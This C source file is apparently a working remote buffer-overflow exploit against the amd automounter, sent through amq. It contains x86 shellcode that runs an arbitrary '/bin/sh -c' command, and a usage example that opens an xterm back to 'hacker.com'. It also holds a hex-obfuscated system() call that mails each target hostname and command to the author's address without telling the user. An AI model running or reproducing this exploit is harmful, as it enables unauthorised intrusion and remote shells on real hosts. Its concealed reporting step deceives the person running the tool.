#include<stdio.h>
#include<stdlib.h> 
#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90 char shellcode[1024]=
"\xeb\x35"                      /* jmp 0x35             */
"\x5e"                          /* popl %esi            */
"\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
"\x89\xf0"                      /* movl %esi,%eax       */
"\x83\xc0\x08"                  /* addl $0x8,%eax       */
"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
"\x89\xf0"                      /* movl %esi,%eax       */
"\x83\xc0\x0b"                  /* addl $0xb,%eax       */
"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
"\x31\xc0"                      /* xorl %eax,%eax       */
"\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
"\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
"\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
"\xb0\x0b"                      /* movb $0xb,%al        */
"\x89\xf3"                      /* movl %esi,%ebx       */
"\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
"\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
"\xcd\x80"                      /* int 0x80             */
"\x31\xdb"                      /* xorl %ebx,%ebx       */
"\x89\xd8"                      /* movl %ebx,%eax       */
"\x40"                          /* inc %eax             */
"\xcd\x80"                      /* int 0x80             */
"\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
"/bin/sh -c ";                  /* .string "/bin/sh -c "*/ char command[800]; void usage()
{
printf("Warning : This program can crash amd\n");
printf("Usage: amd-ex <hostname> <command> [offset]\n");
printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
} int main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
char target[256];
char cmd[1024];
long *addr_ptr,addr,shellcode;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i; printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n"); if(argc<3)
{
usage();
exit(1);
} if(argc>2)
{
strcpy(target,argv[1]);
strcpy(command,argv[2]);
}
if(argc>3)
offset=atoi(argv[3]); shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
shellcode[32]=(shellcode[32]+strlen(command));
shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
strcat(shellcode,command); strcpy(cmd,"\x65\x63\x68\x6f\x20");
strcat(cmd,target);
strcat(cmd,"\x20");
strcat(cmd,command);
strcat(cmd,"\x7c");
strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72"); sp=0xbffff34d;
addr=sp-offset; ptr=buff;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr; for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i]; buff[bsize-1]='\0'; for(i=bsize;i>1;i--)
buff[i-1]=buff[i-2]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); system(cmd); /* If you want, comment out this line. :) */
execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}